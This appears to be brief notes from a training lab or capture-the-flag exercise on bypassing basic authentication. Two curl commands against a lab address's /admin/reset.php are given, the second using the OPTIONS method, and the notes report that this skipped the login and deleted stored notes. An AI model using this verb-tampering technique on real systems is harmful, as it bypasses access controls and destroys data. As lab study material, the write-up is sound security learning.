Bypassing Basic Authentication

click reset

First we tried to curl the page

curl -i http://94.237.54.116:31173/admin/reset.php?

Now we did access the /admin/reset.php without username and password

curl -i -X OPTIONS http://94.237.54.116:31173/admin/reset.php?

Now the notes are deleted since we bypass the authorization